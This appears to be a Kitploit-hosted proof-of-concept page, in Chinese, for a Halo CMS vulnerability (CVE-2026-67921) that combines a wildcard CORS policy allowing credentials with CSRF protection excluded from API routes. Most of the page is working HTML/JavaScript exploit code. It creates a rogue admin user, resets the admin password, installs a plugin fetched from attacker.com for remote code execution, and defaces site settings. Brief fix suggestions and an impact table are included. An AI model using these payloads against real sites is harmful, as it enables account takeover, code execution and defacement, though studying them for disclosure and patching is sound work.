halo-cors-csrf-CVE-2026-67921 — 概念验证，演示了 Halo CMS 中 CORS 配置错误与 CSRF 防护绕过相结合的问题，可利用跨站请求伪造攻击创建管理员用户、更改密码、安装插件以及修改内容。 | Kitploit

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← 任意来源
    configuration.setAllowCredentials(true);                // ← 允许携带 Cookie
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← API 路由被排除在 CSRF 之外！
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

┌─────────────────────────────────────────────────────────────┐
│  攻击者在 evil.com 上托管恶意页面                            │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  受害者的浏览器访问 evil.com                                 │
│  → 表单自动提交至 Halo API                                   │
│  → 浏览器自动携带会话 Cookie                                 │
│  → CORS：Origin * + credentials: true → 请求被允许！         │
│  → CSRF：/apis/** 被排除 → 无需令牌！                        │
│  → 请求以受害者的权限成功执行                                │
└─────────────────────────────────────────────────────────────┘

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

<html>
<body>
<script>
  // 修改站点标题
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF 攻击 PoC</h1>
<p>此页面加载时将尝试修改 Halo 设置。</p>

<script>
// 通过修改站点标题测试 CSRF
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">成功！CSRF 攻击已生效。</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">失败：' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "CSRF 攻击成功 - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

攻击方式	影响	严重程度
创建管理员用户	系统完全沦陷	严重
修改管理员密码	账户接管	严重
安装恶意插件	远程代码执行	严重
修改内容	网站篡改	高
删除数据	数据丢失	高
窃取数据	信息泄露	高

// 从 CSRF 匹配器中移除 API 排除项
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

防护措施	单独存在	组合存在
CORS `*`	阻止携带凭据（浏览器强制）	允许携带凭据！
无 CSRF	受同源策略保护	被 CORS 绕过！
结果	安全	完全 CSRF 攻击

halo-cors-csrf-CVE-2026-67921

最受欢迎

漏洞 2：CSRF 防护绕过

攻击机制

为什么这种组合是危险的

攻击流程

利用场景

场景 1：创建管理员用户

场景 2：修改管理员密码

场景 3：安装恶意插件（远程代码执行）

场景 4：修改站点内容

概念验证

基础 CSRF 测试

验证步骤

影响分析

修复建议

修复 1：限制 CORS 来源

修复 2：为 API 路由启用 CSRF

修复 3：使用 Bearer 令牌认证

参考

时间线

halo-cors-csrf-CVE-2026-67921

最受欢迎

CVE-2026-67921：Halo CMS CORS 配置错误 + CSRF 防护绕过组合攻击

摘要

受影响版本

漏洞详情

漏洞 1：CORS 配置错误

漏洞 2：CSRF 防护绕过

攻击机制

为什么这种组合是危险的

攻击流程

利用场景

场景 1：创建管理员用户

场景 2：修改管理员密码

场景 3：安装恶意插件（远程代码执行）

场景 4：修改站点内容

概念验证

基础 CSRF 测试

验证步骤

影响分析

修复建议

修复 1：限制 CORS 来源

修复 2：为 API 路由启用 CSRF

修复 3：使用 Bearer 令牌认证

参考

时间线